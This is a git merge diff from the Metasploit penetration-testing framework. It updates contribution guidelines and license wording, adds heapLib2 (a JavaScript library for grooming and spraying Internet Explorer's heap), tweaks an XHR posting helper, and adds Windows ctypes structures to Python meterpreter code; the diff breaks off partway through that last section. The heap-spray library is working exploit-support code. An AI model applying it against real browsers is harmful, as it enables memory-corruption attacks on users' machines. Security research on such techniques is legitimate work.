Merge branch 'upstream/master' into ext_server_kiwi
commit
dfb4b22015
|
@ -1,44 +1,68 @@
|
|||
# Contributing to Metasploit
|
||||
|
||||
## Reporting Bugs
|
||||
Thanks for your interest in making Metasploit -- and therefore, the
|
||||
world -- a better place! What you see here in CONTRIBUTING.md is a
|
||||
bullet-point list of the do's and don'ts of how to make sure *your*
|
||||
valuable contributions actually make it into Metasploit's master branch.
|
||||
|
||||
If you would like to report a bug, please take a look at [our Redmine
|
||||
issue
|
||||
tracker](https://dev.metasploit.com/redmine/projects/framework/issues?query_id=420)
|
||||
-- your bug may already have been reported there! Simply [searching](https://dev.metasploit.com/redmine/projects/framework/search) for some appropriate keywords may save everyone a lot of hassle.
|
||||
If you care not to follow these rules, your contribution **will** be
|
||||
closed (*Road House* style). Sorry!
|
||||
|
||||
If your bug is new and you'd like to report it you will need to
|
||||
[register
|
||||
first](https://dev.metasploit.com/redmine/account/register). Don't
|
||||
worry, it's easy and fun and takes about 30 seconds.
|
||||
Incidentally, this is a **short** list. The
|
||||
[wiki](https://github.com/rapid7/metasploit-framework/wiki) is much more
|
||||
exhaustive and reveals many mysteries. If you read nothing else, take a
|
||||
look at the standard [development environment setup
|
||||
guide](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment)
|
||||
and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes).
|
||||
|
||||
When you file a bug report, please include your **steps to reproduce**,
|
||||
full copy-pastes of Ruby stack traces, and any relevant details about
|
||||
your environment. Without repro steps, your bug will likely be closed.
|
||||
With repro steps, your bugs will likely be fixed.
|
||||
## Code Contributions
|
||||
|
||||
## Contributing Metasploit Modules
|
||||
* **Do** stick to the [Ruby style guide](https://github.com/bbatsov/ruby-style-guide).
|
||||
* **Do** follow the [50/72 rule](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) for Git commit messages.
|
||||
* **Do** create a [topic branch](http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches) to work on instead of working directly on `master`.
|
||||
|
||||
If you have an exploit that you'd like to contribute to the Metasploit
|
||||
Framework, please familiarize yourself with the
|
||||
**[HACKING](https://github.com/rapid7/metasploit-framework/blob/master/HACKING)**
|
||||
document in the
|
||||
Metasploit-Framework repository. There are many mysteries revealed in
|
||||
HACKING concerning code style and content.
|
||||
### Pull Requests
|
||||
|
||||
[Pull requests](https://github.com/rapid7/metasploit-framework/pulls)
|
||||
should corellate with modules at a 1:1 ratio
|
||||
-- there is rarely a good reason to have two, three, or ten modules on
|
||||
one pull request, as this dramatically increases the review time
|
||||
required to land (commit) any of those modules.
|
||||
* **Do** specify a descriptive title to make searching for your pull request easier.
|
||||
* **Do** include [console output](https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks), especially for witnessable effects in `msfconsole`.
|
||||
* **Do** list [verification steps](https://help.github.com/articles/writing-on-github#task-lists) so your code is testable.
|
||||
* **Don't** leave your pull request description blank.
|
||||
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
|
||||
|
||||
Pull requests tend to be very collaborative for Metasploit -- do not be
|
||||
surprised if your pull request to rapid7/metasploit-framework triggers a
|
||||
pull request back to your own fork. In this way, we can isolate working
|
||||
changes before landing your PR to the Metasploit master branch.
|
||||
Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940) and [#3043](https://github.com/rapid7/metasploit-framework/pull/3043) are a couple good examples to follow.
|
||||
|
||||
To save yourself the embarrassment of committing common errors, you will
|
||||
want to symlink the `msftidy.rb` utility to your pre-commit hooks by
|
||||
running `ln -s ../../tools/dev/pre-commit-hook.rb .git/hooks/pre-commit`
|
||||
from the top-level directory of your metasploit-framework clone. This
|
||||
will prevent you from committing modules that raise WARNINGS or ERRORS.
|
||||
#### New Modules
|
||||
|
||||
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. Even better would be to set up `msftidy.rb` as a [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb).
|
||||
* **Do** use the [API](https://dev.metasploit.com/documents/api/). Wheel improvements are welcome; wheel reinventions, not so much.
|
||||
* **Don't** include more than one module per pull request.
|
||||
|
||||
#### Library Code
|
||||
|
||||
* **Do** write [RSpec](http://rspec.info/) tests - even the smallest change in library land can thoroughly screw things up.
|
||||
* **Do** follow [Better Specs](http://betterspecs.org/) - it's like the style guide for specs.
|
||||
* **Do** write [YARD](http://yardoc.org/) documentation - this makes it easier for people to use your code.
|
||||
|
||||
#### Bug Fixes
|
||||
|
||||
* **Do** include reproduction steps in the form of verification steps.
|
||||
* **Do** include a link to the corresponding [Redmine](https://dev.metasploit.com/redmine/projects/framework) issue in the format of `SeeRM #1234` in your commit description.
|
||||
|
||||
## Bug Reports
|
||||
|
||||
* **Do** report vulnerabilities in Rapid7 software to security@rapid7.com.
|
||||
* **Do** create a Redmine account and report your bug there.
|
||||
* **Do** write a detailed description of your bug and use a descriptive title.
|
||||
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
|
||||
* **Don't** file duplicate reports - search for your bug before filing a new report.
|
||||
* **Don't** report a bug on GitHub. Use [Redmine](https://dev.metasploit.com/redmine/projects/framework) instead.
|
||||
|
||||
Redmine issues [#8762](https://dev.metasploit.com/redmine/issues/8762) and [#8764](https://dev.metasploit.com/redmine/issues/8764) are a couple good examples to follow.
|
||||
|
||||
If you need some more guidance, talk to the main body of open
|
||||
source contributors over on the [Freenode IRC channel](http://webchat.freenode.net/?channels=%23metasploit&uio=d4)
|
||||
or e-mail us at [metasploit-hackers](https://lists.sourceforge.net/lists/listinfo/metasploit-hackers)
|
||||
mailing list.
|
||||
|
||||
Also, **thank you** for taking the few moments to read this far! You're
|
||||
already way ahead of the curve, so keep it up!
|
||||
|
|
2
COPYING
2
COPYING
|
@ -1,4 +1,4 @@
|
|||
Copyright (C) 2006-2013, Rapid7 Inc.
|
||||
Copyright (C) 2006-2013, Rapid7, Inc.
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
|
|
152
HACKING
152
HACKING
|
@ -1,146 +1,38 @@
|
|||
# $Id$
|
||||
HACKING
|
||||
=======
|
||||
|
||||
This file contains some brief instructions on contributing to the
|
||||
Metasploit Framework.
|
||||
(Last updated: 2014-03-04)
|
||||
|
||||
Code Style
|
||||
==========
|
||||
This document almost entirely deprecated by:
|
||||
|
||||
In order to maintain consistency and readability, we ask that you
|
||||
adhere to the following style guidelines:
|
||||
CONTRIBUTING.md
|
||||
|
||||
- Standard Ruby two-space soft tabs, not hard tabs.
|
||||
- Try to keep your lines under 100 columns (assuming two-space tabs)
|
||||
- do; end instead of {} for a block
|
||||
- Always use str[0,1] instead of str[0]
|
||||
(This avoids a known ruby 1.8/1.9 incompatibility.)
|
||||
- Method names should always be lower_case and words separated by "_"
|
||||
- Variable names should be lower case with words separated by "_"
|
||||
- Don't depend on any external gems or libraries without talking to
|
||||
todb to resolve packaging and licensing issues
|
||||
|
||||
You can use the the "./tools/msftidy.rb" script to do some rudimentary
|
||||
checking for various violations.
|
||||
|
||||
|
||||
Code No-Nos
|
||||
===========
|
||||
|
||||
1. Don't print to standard output. Doing so means that users of
|
||||
interfaces other than msfconsole, such as msfrpc and msfgui, won't see
|
||||
your output. You can use print_line to accomplish the same thing as
|
||||
puts.
|
||||
|
||||
2. Don't read from standard input, doing so will make your code
|
||||
lock up the entire module when called from other interfaces. If you
|
||||
need user input, you can either register an option or expose an
|
||||
interactive session type specific for the type of exploit.
|
||||
|
||||
3. Always use Rex sockets, not ruby sockets. This includes
|
||||
third-party libraries such as Net::Http. There are several very good
|
||||
reasons for this rule. First, the framework doesn't get notified on
|
||||
the creation of ruby sockets and won't know how to clean them up in
|
||||
case your module raises an exception without cleaning up after itself.
|
||||
Secondly, non-Rex sockets do not know about routes and therefore can't
|
||||
be used through a meterpreter tunnel. Lastly, regular sockets miss
|
||||
out on msf's proxy and SSL features. Msf includes many protocols
|
||||
already implemented with Rex and if the protocol you need is missing,
|
||||
porting another library to use them is straight-forward. See our
|
||||
Net::SSH modifications in lib/net/ssh/ for an example.
|
||||
|
||||
4. When opening an IO stream, always force binary with "b" mode (or
|
||||
using IO#binmode). This not only helps keep Windows and non-Windows
|
||||
runtime environments consistent with each other, but also guarantees
|
||||
that files will be treated as ASCII-8BIT instead of UTF-8.
|
||||
|
||||
5. Don't use String#[] for a single character. This returns a Fixnum in
|
||||
ruby 1.8 and a String in 1.9, so it's safer to use the following idiom:
|
||||
str[idx,1]
|
||||
which always returns a String. If you need the ASCII byte, unpack it like
|
||||
so:
|
||||
tr[idx,1].unpack("C")[0]
|
||||
|
||||
6. Whenever possible, avoid using '+' or '+=' to concatenate strings.
|
||||
The '<<' operator is significantly faster. The difference will become
|
||||
even more apparent when doing string manipulation in a loop. The
|
||||
following table approximates the underlying implementation:
|
||||
|
||||
Ruby Pseudo-C
|
||||
----------- ----------------
|
||||
a = b + c a = malloc(b.len+c.len+1);
|
||||
strcpy(a, b);
|
||||
memcpy(a+b.len, c, c.len);
|
||||
a[b.len + c.len] = '\0';
|
||||
a = b a = b;
|
||||
a << c a = realloc(a, a.len+c.len+1);
|
||||
memcpy(a+a.len, c, c.len);
|
||||
a[a.len + c.len] = '\0';
|
||||
|
||||
Note that the original value of 'b' is lost in the second case. Care
|
||||
must be taken to duplicate strings that you do not want to modify.
|
||||
|
||||
7. For other Ruby 1.8.x/1.9.x compat issues, please see Sam Ruby's
|
||||
excellent slide show at <http://slideshow.rubyforge.org/ruby19.html>
|
||||
for an overview of common and not-so-common Ruby version related gotchas.
|
||||
|
||||
8. Never, ever use $global variables. This applies to modules, mixins,
|
||||
and libraries. If you need a "global" within a specific class, you can
|
||||
use @@class_variables, but most modules should use @instance variables
|
||||
to store information between methods.
|
||||
|
||||
9. Don't craft your XML document raw or by using Nokogiri, the current
|
||||
preferred way is REXML.
|
||||
|
||||
Creating New Modules
|
||||
====================
|
||||
|
||||
When creating a new module, the simplest way to start is to copy
|
||||
another module that uses the same protocol and modify it to your
|
||||
needs. If you're creating an exploit module, generally you'll want
|
||||
to edit the exploit() method. Auxiliary Scanner modules use one of
|
||||
run_host(), run_range(), or run_batch() instead of exploit().
|
||||
Non-scanner aux modules use run().
|
||||
|
||||
|
||||
Submitting Your Code
|
||||
====================
|
||||
|
||||
To get started with a Metasploit Framework source clone, simply:
|
||||
|
||||
- Fork rapid7/metasploit-framework to your GitHub account
|
||||
- git clone git://github.com/YourName/metasploit-framework.git
|
||||
- gem install bundler
|
||||
- bundle install
|
||||
|
||||
More detailed documentation regarding the process for submitting new
|
||||
modules via GitHub is documented here:
|
||||
in the same directory as this file, and to a lesser extent:
|
||||
|
||||
The Metasploit Development Environment
|
||||
https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment
|
||||
|
||||
This describes the process of forking, editing, and generating a
|
||||
pull request, and is the preferred method for bringing new modules
|
||||
and framework enhancements to the attention of the core Metasploit
|
||||
development team. Note that this process requires a GitHub account.
|
||||
Common Coding Mistakes
|
||||
https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
|
||||
|
||||
For Git commits, please adhere to 50/72 formatting: your commits should
|
||||
start with a line 50 characters or less, followed by a blank line,
|
||||
followed by one or more lines of explanatory text wrapped at at 72
|
||||
characters Pull requests with commits not formatted this way will
|
||||
be rejected without review.
|
||||
The Ruby Style Guide
|
||||
https://github.com/bbatsov/ruby-style-guide
|
||||
|
||||
For modules, note that Author field is not automatic, and should be
|
||||
filled in in the format of 'Your Name <user[at]domain.tld>' so future
|
||||
developers can contact you with any questions.
|
||||
Ruby 1.9: What to Expect
|
||||
http://slideshow.rubyforge.org/ruby19.html
|
||||
|
||||
You can use the the "./tools/msftidy.rb" script against your new and
|
||||
changed modules to do some rudimentary checking for various style and
|
||||
syntax violations.
|
||||
|
||||
Licensing for Your New Content
|
||||
==============================
|
||||
|
||||
Licensing
|
||||
=========
|
||||
By submitting code contributions to the Metasploit Project it is
|
||||
assumed that you are offering your code under the Metasploit License
|
||||
or similar 3-clause BSD-compatible license. MIT and Ruby Licenses
|
||||
or similar 3-clause BSD-compatible license. MIT and Ruby Licenses
|
||||
are also fine. We specifically cannot include GPL code. LGPL code
|
||||
is accepted on a case by case basis for libraries only and is never
|
||||
is accepted on a case by case basis for libraries only and is never
|
||||
accepted for modules.
|
||||
|
||||
When possible, such as aux and exploit modules, be sure to include
|
||||
your license designation in the file in the appropriate place.
|
||||
|
||||
|
|
8
LICENSE
8
LICENSE
|
@ -2,13 +2,13 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
|
|||
Source: http://www.metasploit.com/
|
||||
|
||||
Files: *
|
||||
Copyright: 2006-2013, Rapid7 Inc.
|
||||
Copyright: 2006-2013, Rapid7, Inc.
|
||||
License: BSD-3-clause
|
||||
|
||||
# The Metasploit Framework is provided under the 3-clause BSD license provided
|
||||
# at the end of this file.
|
||||
#
|
||||
# The copyright on this package is held by Rapid7 LLC.
|
||||
# The copyright on this package is held by Rapid7, Inc.
|
||||
#
|
||||
# This license does not apply to third-party components detailed below.
|
||||
#
|
||||
|
@ -84,7 +84,7 @@ Copyright: 2005-2009, Joel VanderWerf
|
|||
License: Ruby
|
||||
|
||||
Files: lib/fastlib.rb
|
||||
Copyright: 2011, Rapid7 Inc.
|
||||
Copyright: 2011, Rapid7, Inc.
|
||||
License: Ruby
|
||||
|
||||
Files: lib/metasm.rb lib/metasm/* data/cpuinfo/*
|
||||
|
@ -310,7 +310,7 @@ License: BSD-3-clause
|
|||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
.
|
||||
* Neither the name of Rapid7 LLC nor the names of its contributors
|
||||
* Neither the name of Rapid7, Inc nor the names of its contributors
|
||||
may be used to endorse or promote products derived from this software
|
||||
without specific prior written permission.
|
||||
.
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
# Copyright (C) 2008 Metasploit LLC
|
||||
# Copyright (C) 2008 Rapid7, Inc.
|
||||
|
||||
#
|
||||
# This script extracts the forms from the main page of each
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
# Copyright (C) 2008 Metasploit LLC
|
||||
# Copyright (C) 2008 Rapid7, Inc.
|
||||
|
||||
#
|
||||
# This script extracts the forms from the main page of each
|
||||
|
|
|
@ -0,0 +1,192 @@
|
|||
//heapLib2 namespace
|
||||
function heapLib2() { }
|
||||
|
||||
//These are attributes that will not actually create a bstr
|
||||
//and directly use the back-end allocator, completely bypassing the cache
|
||||
var global_attrs = ["title", "lang", "class"];
|
||||
|
||||
heapLib2.ie = function(element, maxAlloc)
|
||||
{
|
||||
//128mb
|
||||
this.maxAlloc = 0x8000000;
|
||||
|
||||
//make sure that an HTML DOM element is passed
|
||||
if(!element.nodeType || element.nodeType != 1)
|
||||
throw "alloc.argument: element not valid";
|
||||
|
||||
this.element = element;
|
||||
|
||||
if(maxAlloc)
|
||||
this.maxAlloc = maxAlloc;
|
||||
|
||||
//empty the cache
|
||||
this.Oleaut32EmptyCache();
|
||||
this.Oleaut32FillCache();
|
||||
this.Oleaut32EmptyCache();
|
||||
|
||||
}
|
||||
|
||||
heapLib2.ie.prototype.newelement = function(element)
|
||||
{
|
||||
//make sure that an HTML DOM element is passed
|
||||
if(!element.nodeType || element.nodeType != 1)
|
||||
throw "alloc.argument: element not valid";
|
||||
|
||||
this.element = element;
|
||||
}
|
||||
|
||||
heapLib2.ie.prototype.alloc = function(attr_name, size, cache_ok)
|
||||
{
|
||||
if(typeof(cache_ok)==='undefined')
|
||||
cache_ok = false;
|
||||
else
|
||||
cache_ok = true;
|
||||
|
||||
//make sure the attribute name is a string
|
||||
if(typeof attr_name != "string")
|
||||
throw "alloc.argument: attr_name is not a string";
|
||||
|
||||
//make sure that the attribute name is not already present in the html element
|
||||
if(this.element.getAttribute(attr_name))
|
||||
throw "alloc.argument: element already contains attr_name: " + attr_name;
|
||||
|
||||
//ensure the size is a number
|
||||
if(typeof size != "number")
|
||||
throw "alloc.argument: size is not a number: " + size;
|
||||
|
||||
//make sure the size isn't one of the special values
|
||||
if(!cache_ok && (size == 0x20 || size == 0x40 || size == 0x100 || size == 0x8000))
|
||||
throw "alloc.argument: size cannot be flushed from cache: " + size;
|
||||
|
||||
if(size > this.maxAlloc)
|
||||
throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
|
||||
|
||||
//the size must be at a 16-byte boundary this can be commented out but
|
||||
//the allocations will be rounded to the nearest 16-byte boundary
|
||||
if(size % 16 != 0)
|
||||
throw "alloc.argument: size be a multiple of 16: " + size;
|
||||
|
||||
//20-bytes will be added to the size
|
||||
//<4-byte size><data><2-byte null>
|
||||
size = ((size / 2) - 6);
|
||||
|
||||
//May have to change this due to allocation side effects
|
||||
var data = new Array(size).join(cache_ok ? "C" : "$");
|
||||
|
||||
var attr = document.createAttribute(attr_name);
|
||||
this.element.setAttributeNode(attr);
|
||||
this.element.setAttribute(attr_name, data);
|
||||
|
||||
}
|
||||
|
||||
//These items will allocate/free memory and should really
|
||||
//only be used once per element. You can use a new element
|
||||
//by calling the 'newelement' method above
|
||||
heapLib2.ie.prototype.alloc_nobstr = function(val)
|
||||
{
|
||||
//make sure the aval is a string
|
||||
if(typeof val != "string")
|
||||
throw "alloc.argument: val is not a string";
|
||||
|
||||
var size = (val.length * 2) + 6;
|
||||
|
||||
if(size > this.maxAlloc)
|
||||
throw "alloc_nobstr.val: string length cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
|
||||
|
||||
var i = 0;
|
||||
var set_gattr = 0;
|
||||
for(i = 0; i < global_attrs.length; i++)
|
||||
{
|
||||
curr_gattr = global_attrs[i];
|
||||
if(!this.element.getAttribute(curr_gattr))
|
||||
{
|
||||
this.element.setAttribute(curr_gattr, "");
|
||||
this.element.setAttribute(curr_gattr, val);
|
||||
set_gattr = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(set_gattr == 0)
|
||||
throw "alloc_nobstr: all global attributes are assigned, try a new element";
|
||||
}
|
||||
|
||||
//completely bypass the cache, useful for heap spraying (see heapLib2_test.html)
|
||||
heapLib2.ie.prototype.sprayalloc = function(attr_name, str)
|
||||
{
|
||||
//make sure the attribute name is a string
|
||||
if(typeof attr_name != "string")
|
||||
throw "alloc.argument: attr_name is not a string";
|
||||
|
||||
//make sure that the attribute name is not already present in the html element
|
||||
if(this.element.getAttribute(attr_name))
|
||||
throw "alloc.argument: element already contains attr_name: " + attr_name;
|
||||
|
||||
//ensure the size is a number
|
||||
if(typeof str != "string")
|
||||
throw "alloc.argument: str is not a string: " + typeof str;
|
||||
|
||||
var size = (str.length * 2) + 6;
|
||||
|
||||
//make sure the size isn't one of the special values
|
||||
if(size <= 0x8000)
|
||||
throw "alloc.argument: bigalloc must be greater than 0x8000: " + size;
|
||||
|
||||
if(size > this.maxAlloc)
|
||||
throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
|
||||
|
||||
var attr = document.createAttribute(attr_name);
|
||||
this.element.setAttributeNode(attr);
|
||||
this.element.setAttribute(attr_name, str);
|
||||
}
|
||||
|
||||
heapLib2.ie.prototype.free = function(attr_name, skip_flush)
|
||||
{
|
||||
if(typeof(skip_flush)==='undefined')
|
||||
skip_flush = false;
|
||||
else
|
||||
skip_flush = true;
|
||||
|
||||
//make sure that an HTML DOM element is passed
|
||||
if(!this.element.nodeType || this.element.nodeType != 1)
|
||||
throw "alloc.argument: element not valid";
|
||||
|
||||
//make sure the attribute name is a string
|
||||
if(typeof attr_name != "string")
|
||||
throw "alloc.argument: attr_name is not a string";
|
||||
|
||||
//make sure that the attribute name is not already present in the html element
|
||||
if(!this.element.getAttribute(attr_name))
|
||||
throw "alloc.argument: element does not contain attribute: " + attr_name;
|
||||
|
||||
//make sure the cache is full so the chunk returns the general purpose heap
|
||||
if(!skip_flush)
|
||||
this.Oleaut32FillCache();
|
||||
|
||||
this.element.setAttribute(attr_name, null);
|
||||
|
||||
if(!skip_flush)
|
||||
this.Oleaut32EmptyCache()
|
||||
}
|
||||
|
||||
heapLib2.ie.prototype.Oleaut32FillCache = function()
|
||||
{
|
||||
for(var i = 0; i < 6; i++)
|
||||
{
|
||||
this.free("cache0x20"+i, true);
|
||||
this.free("cache0x40"+i, true);
|
||||
this.free("cache0x100"+i, true);
|
||||
this.free("cache0x8000"+i, true);
|
||||
}
|
||||
}
|
||||
|
||||
heapLib2.ie.prototype.Oleaut32EmptyCache = function()
|
||||
{
|
||||
for(var i = 0; i < 6; i++)
|
||||
{
|
||||
this.alloc("cache0x20"+i, 0x20, true);
|
||||
this.alloc("cache0x40"+i, 0x40, true);
|
||||
this.alloc("cache0x100"+i, 0x100, true);
|
||||
this.alloc("cache0x8000"+i, 0x8000, true);
|
||||
}
|
||||
}
|
|
@ -1,10 +1,18 @@
|
|||
function postInfo(path, data) {
|
||||
function postInfo(path, data, cb) {
|
||||
var xmlHttp = new XMLHttpRequest();
|
||||
|
||||
if (xmlHttp.overrideMimeType) {
|
||||
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
|
||||
}
|
||||
|
||||
xmlHttp.open('POST', path, false);
|
||||
xmlHttp.open('POST', path, !!cb);
|
||||
|
||||
if (cb) {
|
||||
xmlHttp.onreadystatechange = function() {
|
||||
if (xmlHttp.readyState == 4) { cb.apply(this, arguments); }
|
||||
};
|
||||
}
|
||||
|
||||
xmlHttp.send(data);
|
||||
}
|
||||
return xmlHttp;
|
||||
}
|
||||
|
|
|
@ -1,4 +1,3 @@
|
|||
import ctypes
|
||||
import fnmatch
|
||||
import getpass
|
||||
import os
|
||||
|
@ -9,8 +8,15 @@ import socket
|
|||
import struct
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
|
||||
has_windll = hasattr(ctypes, 'windll')
|
||||
try:
|
||||
import ctypes
|
||||
has_ctypes = True
|
||||
has_windll = hasattr(ctypes, 'windll')
|
||||
except ImportError:
|
||||
has_ctypes = False
|
||||
has_windll = False
|
||||
|
||||
try:
|
||||
import pty
|
||||
|
@ -24,6 +30,12 @@ try:
|
|||
except ImportError:
|
||||
has_pwd = False
|
||||
|
||||
try:
|
||||
import SystemConfiguration as osxsc
|
||||
has_osxsc = True
|
||||
except ImportError:
|
||||
has_osxsc = False
|
||||
|
||||
try:
|
||||
import termios
|
||||
has_termios = True
|
||||
|
@ -36,52 +48,197 @@ try:
|
|||
except ImportError:
|
||||
has_winreg = False
|
||||
|
||||
class PROCESSENTRY32(ctypes.Structure):
|
||||
_fields_ = [("dwSize", ctypes.c_uint32),
|
||||
("cntUsage", ctypes.c_uint32),
|
||||
("th32ProcessID", ctypes.c_uint32),
|
||||
("th32DefaultHeapID", ctypes.c_void_p),
|
||||
("th32ModuleID", ctypes.c_uint32),
|
||||
("cntThreads", ctypes.c_uint32),
|
||||
("th32ParentProcessID", ctypes.c_uint32),
|
||||
("thPriClassBase", ctypes.c_int32),
|
||||
("dwFlags", ctypes.c_uint32),
|
||||
("szExeFile", (ctypes.c_char * 260))]
|
||||
if has_ctypes:
|
||||
#
|
||||
# Windows Structures
|
||||
#
|
||||
class SOCKADDR(ctypes.Structure):
|
||||
_fields_ = [("sa_family", ctypes.c_ushort),
|
||||
("sa_data", (ctypes.c_uint8 * 14))]
|
||||
|
||||
class SYSTEM_INFO(ctypes.Structure):
|
||||
_fields_ = [("wProcessorArchitecture", ctypes.c_uint16),
|
||||
("wReserved", ctypes.c_uint16),
|
||||
("dwPageSize", ctypes.c_uint32),
|
||||
("lpMinimumApplicationAddress", ctypes.c_void_p),
|
||||
("lpMaximumApplicationAddress", ctypes.c_void_p),
|
||||
("dwActiveProcessorMask", ctypes.c_uint32),
|
||||
("dwNumberOfProcessors", ctypes.c_uint32),
|
||||
("dwProcessorType", ctypes.c_uint32),
|
||||
("dwAllocationGranularity", ctypes.c_uint32),
|
||||
("wProcessorLevel", ctypes.c_uint16),
|
||||
("wProcessorRevision", ctypes.c_uint16),]
|
||||
class SOCKET_ADDRESS(ctypes.Structure):
|
||||
_fields_ = [("lpSockaddr", ctypes.POINTER(SOCKADDR)),
|
||||
("iSockaddrLength", ctypes.c_int)]
|
||||
|
||||
class SID_AND_ATTRIBUTES(ctypes.Structure):
|
||||
_fields_ = [("Sid", ctypes.c_void_p),
|
||||
("Attributes", ctypes.c_uint32),]
|
||||
class IP_ADAPTER_UNICAST_ADDRESS(ctypes.Structure):
|
||||
_fields_ = [
|
||||
("s", type(
|
||||
'_s_IP_ADAPTER_UNICAST_ADDRESS',
|
||||
(ctypes.Structure,),
|
||||
dict(_fields_ = [
|
||||
("Length", ctypes.c_ulong),
|
||||
("Flags", ctypes.c_uint32)
|
||||
])
|
||||
)),
|
||||
("Next", ctypes.c_void_p),
|
||||
("Address", SOCKET_ADDRESS),
|
||||
("PrefixOrigin", ctypes.c_uint32),
|
||||
("SuffixOrigin", ctypes.c_uint32),
|
||||
("DadState", ctypes.c_uint32),
|
||||
("ValidLifetime", ctypes.c_ulong),
|
||||
("PreferredLifetime", ctypes.c_ulong),
|
||||
("LeaseLifetime", ctypes.c_ulong),
|
||||
("OnLinkPrefixLength", ctypes.c_uint8)]
|
||||
|
||||
##
|
||||
# STDAPI
|
||||
##
|
||||
class IP_ADAPTER_ADDRESSES(ctypes.Structure):
|
||||
_fields_ = [
|
||||
("u", type(
|
||||
'_u_IP_ADAPTER_ADDRESSES',
|
||||
(ctypes.Union,),
|
||||
dict(_fields_ = [
|
||||
("Alignment", ctypes.c_ulonglong),
|
||||
("s", type(
|
||||
'_s_IP_ADAPTER_ADDRESSES',
|
||||
(ctypes.Structure,),
|
||||
dict(_fields_ = [
|
||||
("Length", ctypes.c_ulong),
|
||||
("IfIndex", ctypes.c_uint32)
|
||||
])
|
||||
))
|
||||
])
|
||||
)),
|
||||
("Next", ctypes.c_void_p),
|
||||
("AdapterName", ctypes.c_char_p),
|
||||
("FirstUnicastAddress", ctypes.c_void_p),
|
||||
("FirstAnycastAddress", ctypes.c_void_p),
|
||||
("FirstMulticastAddress", ctypes.c_void_p),
|
||||
("FirstDnsServerAddress", ctypes.c_void_p),
|
||||
("DnsSuffix", ctypes.c_wchar_p),
|
||||
("Description", ctypes.c_wchar_p),
|
||||
("FriendlyName", ctypes.c_wchar_p),
|
||||
("PhysicalAddress", (ctypes.c_uint8 * 8)),
|
||||
("PhysicalAddressLength", ctypes.c_uint32),
|
||||
("Flags", ctypes.c_uint32),
|
||||
("Mtu", ctypes.c_uint32),
|
||||
("IfType", ctypes.c_uint32),
|
||||
("OperStatus", ctypes.c_uint32),
|
||||
("Ipv6IfIndex", ctypes.c_uint32),
|
||||
("ZoneIndices", (ctypes.c_uint32 * 16)),
|
||||
("FirstPrefix", ctypes.c_void_p),
|
||||
("TransmitLinkSpeed", ctypes.c_uint64),
|
||||
("ReceiveLinkSpeed", ctypes.c_uint64),
|
||||
("FirstWinsServerAddress", ctypes.c_void_p),
|
||||
("FirstGatewayAddress", ctypes.c_void_p),
|
||||
("Ipv4Metric", ctypes.c_ulong),
|
||||
("Ipv6Metric", ctypes.c_ulong),
|
||||
("Luid", ctypes.c_uint64),
|
||||
("Dhcpv4Server", SOCKET_ADDRESS),
|
||||
("CompartmentId", ctypes.c_uint32),
|
||||
("NetworkGuid", (ctypes.c_uint8 * 16)),
|
||||
("ConnectionType", ctypes.c_uint32),
|
||||
("TunnelType", ctypes.c_uint32),
|
||||
("Dhcpv6Server", SOCKET_ADDRESS),
|
||||
("Dhcpv6ClientDuid", (ctypes.c_uint8 * 130)),
|
||||
("Dhcpv6ClientDuidLength", ctypes.c_ulong),
|
||||
("Dhcpv6Iaid", ctypes.c_ulong),
|
||||
("FirstDnsSuffix", ctypes.c_void_p)]
|
||||
|
||||
class MIB_IFROW(ctypes.Structure):
|
||||
_fields_ = [("wszName", (ctypes.c_wchar * 256)),
|
||||
("dwIndex", ctypes.c_uint32),
|
||||
("dwType", ctypes.c_uint32),
|
||||
("dwMtu", ctypes.c_uint32),
|
||||
("dwSpeed", ctypes.c_uint32),
|
||||
("dwPhysAddrLen", ctypes.c_uint32),
|
||||
("bPhysAddr", (ctypes.c_uint8 * 8)),
|
||||
("dwAdminStatus", ctypes.c_uint32),
|
||||
("dwOperStaus", ctypes.c_uint32),
|
||||
("dwLastChange", ctypes.c_uint32),
|
||||
("dwInOctets", ctypes.c_uint32),
|
||||
("dwInUcastPkts", ctypes.c_uint32),
|
||||
("dwInNUcastPkts", ctypes.c_uint32),
|
||||
("dwInDiscards", ctypes.c_uint32),
|
||||
("dwInErrors", ctypes.c_uint32),
|
||||
("dwInUnknownProtos", ctypes.c_uint32),
|
||||
("dwOutOctets", ctypes.c_uint32),
|
||||
("dwOutUcastPkts", ctypes.c_uint32),
|
||||
("dwOutNUcastPkts", ctypes.c_uint32),
|
||||
("dwOutDiscards", ctypes.c_uint32),
|
||||
("dwOutErrors", ctypes.c_uint32),
|
||||
("dwOutQLen", ctypes.c_uint32),
|
||||
("dwDescrLen", ctypes.c_uint32),
|
||||
("bDescr", (ctypes.c_char * 256))]
|
||||
|
||||
class MIB_IPADDRROW(ctypes.Structure):
|
||||
_fields_ = [("dwAddr", ctypes.c_uint32),
|
||||
("dwIndex", ctypes.c_uint32),
|
||||
("dwMask", ctypes.c_uint32),
|
||||
("dwBCastAddr", ctypes.c_uint32),
|
||||
("dwReasmSize", ctypes.c_uint32),
|
||||
